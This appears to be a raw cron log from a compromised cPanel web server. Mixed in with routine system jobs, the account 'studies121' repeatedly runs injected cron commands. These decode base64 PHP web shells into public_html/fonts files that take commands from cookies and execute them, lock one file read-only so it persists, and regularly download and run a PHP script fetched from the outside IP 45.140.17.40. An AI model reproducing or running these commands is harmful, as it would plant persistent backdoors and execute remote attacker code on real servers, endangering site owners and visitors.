Sep 22 07:41:01 ip-184-168-122-23 CROND[16064]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 07:41:01 ip-184-168-122-23 CROND[16066]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 07:41:01 ip-184-168-122-23 CROND[16067]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 07:41:01 ip-184-168-122-23 CROND[16068]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 07:42:01 ip-184-168-122-23 CROND[16194]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 07:42:01 ip-184-168-122-23 CROND[16196]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 07:42:01 ip-184-168-122-23 CROND[16197]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 07:42:01 ip-184-168-122-23 CROND[16200]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 07:42:01 ip-184-168-122-23 CROND[16199]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 07:43:01 ip-184-168-122-23 CROND[16424]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 07:43:01 ip-184-168-122-23 CROND[16425]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 07:43:01 ip-184-168-122-23 CROND[16429]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 07:43:01 ip-184-168-122-23 CROND[16430]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 07:44:01 ip-184-168-122-23 CROND[16581]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 07:44:01 ip-184-168-122-23 CROND[16583]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 07:44:01 ip-184-168-122-23 CROND[16584]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 07:44:01 ip-184-168-122-23 CROND[16586]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 07:44:01 ip-184-168-122-23 CROND[16588]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 07:45:01 ip-184-168-122-23 CROND[16701]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 07:45:01 ip-184-168-122-23 CROND[16704]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 07:45:01 ip-184-168-122-23 CROND[16702]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 07:45:02 ip-184-168-122-23 CROND[16708]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 07:45:02 ip-184-168-122-23 CROND[16706]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 07:45:02 ip-184-168-122-23 CROND[16707]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 07:46:01 ip-184-168-122-23 CROND[16850]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 22 07:46:01 ip-184-168-122-23 CROND[16854]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 07:46:01 ip-184-168-122-23 CROND[16856]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 07:46:01 ip-184-168-122-23 CROND[16852]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 07:46:01 ip-184-168-122-23 CROND[16853]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 07:46:01 ip-184-168-122-23 CROND[16857]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 07:46:01 ip-184-168-122-23 CROND[16855]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 22 07:47:01 ip-184-168-122-23 CROND[17005]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 07:47:01 ip-184-168-122-23 CROND[17009]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 07:47:01 ip-184-168-122-23 CROND[17007]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 07:47:01 ip-184-168-122-23 CROND[17008]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 07:48:01 ip-184-168-122-23 CROND[17233]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 07:48:01 ip-184-168-122-23 CROND[17236]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 07:48:01 ip-184-168-122-23 CROND[17237]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 07:48:01 ip-184-168-122-23 CROND[17235]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 07:48:01 ip-184-168-122-23 CROND[17238]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 07:49:01 ip-184-168-122-23 CROND[17359]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep 22 07:49:01 ip-184-168-122-23 CROND[17361]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 07:49:01 ip-184-168-122-23 CROND[17362]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 07:49:01 ip-184-168-122-23 CROND[17360]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 07:49:01 ip-184-168-122-23 CROND[17366]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 07:50:01 ip-184-168-122-23 CROND[17499]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 07:50:01 ip-184-168-122-23 CROND[17501]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 07:50:01 ip-184-168-122-23 CROND[17502]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 07:50:01 ip-184-168-122-23 CROND[17505]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 22 07:50:01 ip-184-168-122-23 CROND[17509]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 07:50:01 ip-184-168-122-23 CROND[17507]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 07:50:01 ip-184-168-122-23 CROND[17510]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 07:50:01 ip-184-168-122-23 CROND[17506]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 07:50:01 ip-184-168-122-23 CROND[17508]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 07:51:01 ip-184-168-122-23 CROND[17656]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 07:51:01 ip-184-168-122-23 CROND[17657]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 07:51:01 ip-184-168-122-23 CROND[17659]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 07:51:01 ip-184-168-122-23 CROND[17661]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 07:52:01 ip-184-168-122-23 CROND[17817]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 07:52:01 ip-184-168-122-23 CROND[17820]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 07:52:01 ip-184-168-122-23 CROND[17821]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 07:52:01 ip-184-168-122-23 CROND[17822]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 07:52:01 ip-184-168-122-23 CROND[17823]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 07:53:01 ip-184-168-122-23 CROND[17937]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
